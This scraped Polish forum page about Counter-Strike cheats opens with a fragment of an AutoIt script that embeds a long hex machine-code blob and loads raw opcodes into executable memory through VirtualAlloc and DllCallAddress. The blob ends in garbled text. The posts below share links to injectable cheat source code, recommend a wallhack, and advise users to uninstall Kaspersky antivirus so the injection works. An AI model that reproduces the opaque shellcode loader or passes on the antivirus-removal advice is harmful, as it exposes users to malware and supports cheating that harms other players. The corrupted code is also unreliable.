"2200000085C0743E6A2753FF159C09410083C408BA2700000085C07429C645FF226847574000684A57400055E80311000030C083C9FFF2AE66C747FF2200BBF5E140005DEB0CBBF5E14000668957FF88135D53FF750CFF7508E8D61000005F5E5BC9C20C" $sModule &= "0053FF158809410083C40483F8F17C0783F80F7F27EBD7A9FFFFFF7F741EF7D8BBF5E140008D4B036A085051E8C508000066C7032D30C6430278EBB2BBF5E140008D4B026A085051E8A908000066C7033078EB9A803D845D4000000F8456010000803D84" $sModule &= "5D4000020F8449010000803D875D4000010F843C0100005356578B35775D4000E8870C0000A38D5D4000E87D0C0000A3915D40006A0150E8700E000056E812010000683C55400056E8B3120000508B3857E8980F00006A0050FF358D5D4000E87F0E0000" $sModule &= "8B04248D7004568B3685F67448684A55400056686D5E4000E8821300006A00686D5E4000FF35915D4000E8500E000056E8550F000050E86504000050E8F00200006A0050FF358D5D4000E8300E00005E83C604EBB183C404FF15D8014100FF358D5D4000" $sModule &= "E8430D0000A3955D40008B3D775D400031DB53FF358D5D4000E8980E00005089C68A068807464784C075F6FF15D80141004F683C55400057FF15A409410083C4084383C7053B1D955D400075C5C647FB00FF358D5D4000E8BE0B0000FF0D955D4000FF35" $sModule &= "775D4000E8B600000050E82E010000A3775D4000FF35915D4000E8970B0000E8840000005F5E5BC35589E583EC0456E84C0B0000A3995D40006A0150E83F0D0000E83A0B0000A39D5D40006A0150E82D0D000068E3554000FF750868F5614000E8721200" $sModule &= "0085C9743A8D45FC66C7002C005068F5614000E8581100005089C6568B3685F674146A0056FF359D5D4000E8230D00005E83C604EBE583C404FF15D80141005EC9C20400FF35995D4000E8030B0000FF359D5D4000E8F80A0000C35589E55356578B7508" $sModule &= "31DB8D43016A04506826564000E84506000053FF35915D4000E86C0D00004389C7680956400057FF15A809410083C40885C07431681756400057FF15A809410083C40885C0741E57FF359D5D4000E84F0D000085C0790E68245640005756E8610F000089" $sModule &= "C63B1D955D40007595965F5E5BC9C204005589E583EC045356578B7508C745FC00000000BF010000008B45FC01F068595540005068F5E14000E86D11000085C90F84EE00000029F029C88945FC8D42018D5A016A2850FF159C09410083C40885C0743280" $sModule &= "780129742C5040B9010000008A1080FA28740880FA29740740EBF14041EBED404975E95A5052FF15A409410083C408EBBE6A5B53FF159C09410083C40885C074328078015D742C5040B9010000008A1080FA5B740880FA5D740740EBF14041EBED404975" $sModule &= "E95A5052FF15A409410083C408EBBE68A955400053E8C60F00005089C3538B1B85DB743A68AF5540005368AD5D4000E8AF100000813A6C6F6356741C683F56400052566A04576842564000E8DB040000E8430E000089C6475B83C304EBBF83C404FF15D8" $sModule &= "014100E9F5FEFFFF89F05F5E5BC9C204005589E583EC045356578B7508C745FC00000000BF01000000684255400056FF15B409410083C4085068F5614000FF15A409410083C40458C600008B45FC01F068595540005068F5E14000E81F10000085C90F84" $sModule &= "F300000029F029C88945FC803A4774D78D42018D5A016A2850FF159C09410083C40885C0743280780129742C5040B9010000008A1080FA28740880FA29740740EBF14041EBED404975E95A5052FF15A409410083C408EBBE6A5B53FF159C09410083C408" $sModule &= "85C074328078015D742C5040B9010000008A1080FA5B740880FA5D740740EBF14041EBED404975E95A5052FF15A409410083C408EBBE68A955400053E8730E00005089C3538B1B85DB743A68AF5540005368AD5D4000E85C0F0000813A6C6F6356741C68" $sModule &= "4D56400052566A04576853564000E888030000E8F00C000089C6475B83C304EBBF83C404FF15D8014100E9F0FEFFFF56FF15AC09410083C4048D040668F561400050FF159809410083C40889F05F5E5BC9C204005589E55356578B750868505540005668" $sModule &= "F5614000E8E60E000085C97455BF0100000068A655400052E8CF0D00005089C3538B1B85DB74326A02576834564000E8030300004768AD5540005368F5614000E8AA0E000068315640005256E8070B000089C65B83C304EBC783C404FF15D801410089F0" $sModule &= "5F5E5BC9C204008B4424048B15A15D40008B4482FCC20400568B74240868165440005668F5614000E85E0E000085C97514688E5440005668F5614000E84A0E000085C974096A005256E8A60A0000965EC2040056BE6D5E400068DD5D400056FF15A00941" $sModule &= "0083C40885C0742B680D5E400056FF15A009410083C40885C07418683D5E400056FF15A009410083C40885C07405B8010000005EC3568B357B5D400068DC5240005668DD5D4000E8DB0D000085C9751068185340005668DD5D4000E8C70D0000683A5340" $sModule &= "0056680D5E4000E8B70D000085C97510689F53400056680D5E4000E8A30D000068EC53400056683D5E4000E8930D00005EC356689D5F4000FF35A15D4000E87D0C000089C68915A55D4000FF35A15D4000FF15D80141008935A15D40008B0685C0740C50" $sModule &= "50E80D0D000083C604EBEEA1A55D40005EC3A1A95D4000680A55400050689D5F4000E8380D000085C97411689D5F400068F5614000E8D90C0000EBDB803DF5614000007418682F55400068F5614000689D5F4000E8060D000085C9750231C0C356803D85" $sModule &= "5D40000175348B35775D400068835740005668F5614000E8DF0C000085C9741A89C6807A013A75E429C88D48035150FF15A409410083C408EBD25EC35589E583EC0468A8574000FF35775D4000E8C108000083C40885C07424803D865D400001751B8D45" $sModule &= "FC66C70031005068A8574000FF35775D4000E8350A000031C00F9505885D4000C9C3803D835D4000007411E82B00000089C1030D7F5D400085C075108B157F5D40008B0D7F5D4000D1EA01D1516A00FF15D4014100A3775D4000C3535768C8544000FF35" $sModule &= "7B5D4000689D5E4000E8250C000085C97464A3A95D40006A00689D5E4000FF152402410085C0784E89C76A026A0057FF152002410089C36A006A0057FF15200241008D4301506A00FF15D4014100C6041800A3A15D4000535057FF152802410057FF1518" $sModule &= "024100689D5E4000FF158C01410089D8EB0231C05F5BC35589E553578B5D108B7D086A0A57FF750CFF158C09410057FF15AC09410083C41039D8731C29C38D141F40505752FF1590094100536A3057FF159409410083C4185F5BC9C20C005589E553578B" $sModule &= "5D108B7D086A1057FF750CFF158C09410057FF15AC09410083C41039D8731C29C38D141F40505752FF1590094100536A3057FF159409410083C4185F5BC9C20C005589E557FF7508FF15E005410089C750FF1540084100A35FFA4000686BFA4000FF7508" $sModule &= "FF15DC0541008B1577FA40008B0D73FA4000891567FA4000890D63FA40005251D1EAD1E94A4989157FFA4000890D7BFA400057FF153C08410050FF355FFA4000FF154C08410057FF15100641006A01FF355FFA4000FF155008410068B25740006A316A00" $sModule &= "6A006A0068FF0000006A006A006A006A006A006A006A056AF4FF154408410050FF355FFA4000FF154C0841006A04FF1548084100A383FA4000C70587FA4000C8000000C6058BFA400000C6058CFA400000C7058DFA40000000000068B4000000D9EBDA34" $sModule &= "24DD1D91FA400083C404E8050000005FC9C204005357BBFA000000BFADED4000B868010000E82FF0FFFF408907F7C303000000740FB820000000E81AF0FFFF894704EB0BC7470432000000C6470C01B808000000E800F0FFFF89470883C70D4B75BE5F5B" $sModule &= "C35589E5682000CC006A006A00FF355FFA4000FF3567FA4000FF3563FA40006A006A00FF7508FF1538084100C9C20400FF3583FA4000686BFA4000FF355FFA4000FF15D40541005357BBFA000000BFADED4000803D8BFA4000010F84E5000000807F0C01" $sModule &= "746F8B4708D1E84001075331DB8B0729D8FF770450E8D201000003157FFA400003057BFA400050B9FFFFFF00B8303030000FAFC329C158515250FF355FFA4000FF15540841004383FB0572C15B813F680100000F82E6000000C70701000000B808000000" $sModule &= "E828EFFFFF894708E9CE0000008B4708C1E8024029075331DB8B078B4F0401D80FB690E957400001D15150E858476847934572582564625727625ZGBSDHSADFBNDZFNDZNZDFTDRJZSDRJZETYT37583456825836928468969236983659579356953709356" EndFunc Func _B64Decode($sSource) Local Static $Opcode, $tMem, $tRevIndex, $fStartup = True If $fStartup Then If @AutoItX64 Then $Opcode = '0xC800000053574D89C74C89C74889D64889CB4C89C89948C7C10400000048F7F148C7C10300000048F7E14989C242807C0EFF3D750E49FFCA42807C0EFE3D750349FFCA4C89C89948C7C10800000048F7F14889C148FFC1488B064989CD48C7C108000000D7C0C0024188C349C1E30648C1E808E2EF49C1E308490FCB4C891F4883C7064883C6084C89E9E2CB4C89D05F5BC9C3' Else $Opcode = '0xC8080000FF75108B7D108B5D088B750C8B4D148B06D7C0C00288C2C1E808C1E206D7C0C00288C2C1E808C1E206D7C0C00288C2C1E808C1E206D7C0C00288C2C1E808C1E2060FCA891783C70383C604E2C2807EFF3D75084F807EFE3D75014FC6070089F85B29D8C9C21000' EndIf Local $aMemBuff = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", BinaryLen($Opcode), "dword", 4096, "dword", 64) $tMem = DllStructCreate('byte[' & BinaryLen($Opcode) & ']', $aMemBuff[0]) DllStructSetData($tMem, 1, $Opcode) Local $aRevIndex[128] Local $aTable = StringToASCIIArray('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/') For $i = 0 To UBound($aTable) - 1 $aRevIndex[$aTable[$i]] = $i Next $tRevIndex = DllStructCreate('byte[' & 128 & ']') DllStructSetData($tRevIndex, 1, StringToBinary(StringFromASCIIArray($aRevIndex))) $fStartup = False EndIf Local $iLen = StringLen($sSource) Local $tOutput = DllStructCreate('byte[' & $iLen + 8 & ']') DllCall("kernel32.dll", "bool", "VirtualProtect", "struct*", $tOutput, "dword_ptr", DllStructGetSize($tOutput), "dword", 0x00000004, "dword*", 0) Local $tSource = DllStructCreate('char[' & $iLen + 8 & ']') DllStructSetData($tSource, 1, $sSource) Local $aRet = DllCallAddress('uint', DllStructGetPtr($tMem), 'struct*', $tRevIndex, 'struct*', $tSource, 'struct*', $tOutput, 'uint', (@AutoItX64 ? $iLen : $iLen / 4)) Return BinaryMid(DllStructGetData($tOutput, 1), 1, $aRet[0]) EndFunc
1 -
Witam, Udostępniam kod źródłowy KIDUAHOOK.
-Kiepski Resolver
-Dobre AA
-Brak DoubleTapa
-Nie działa AutoSHoot / AIMBOT
-Injectuje się i działa.
Źródło: https://github.com/xsoma/kiduahook
SKAN
0 -
Witam, Udostępniam kod źródłowy 1TapGang.cc
-Dobre AA - Manual/Freestanding
-Brak DoubleTapa
-Injectuje się i działa.
-Kipeski Resolver
Źródło: https://github.com/xsoma/1tapgang
SKAN:
https://virusscan.jotti.org/pl-PL/filescanjob/qmd7araj1n
0 -
-
No to nie wiem u mnie działa bez problemu.
0 -
To nie wina kodu źródłowego. Ja też mam ten błąd ale przy injectowaniu. Wystarczy , że kasperskiego usunę i nie mam już tego błędu. Jeżeli masz jakiś program antywirusowy to go usuń.
0 -
Adi2071#EUNE
0 -
Włącz debugger, podłącz pod proces csgo.exe i zobacz co crashuje. Ja nie mam możliwości przetestowania haxa bo kaspersky nie pozwala nawet jak go wyłącze.
0 -
Witam,
Udostępniam wam wersje poprawioną Supremancy. Cheat pod HvH.
SKAN:
3
Ma ktoś jakiś działający wallhack/bh?
w Counter-Strike - Dyskusje / problemy
Opublikowano
jeżeli chodzi o wallhack to advanced napisany w AutoIT. Wystarczy zaktualizować przez haze dumpera.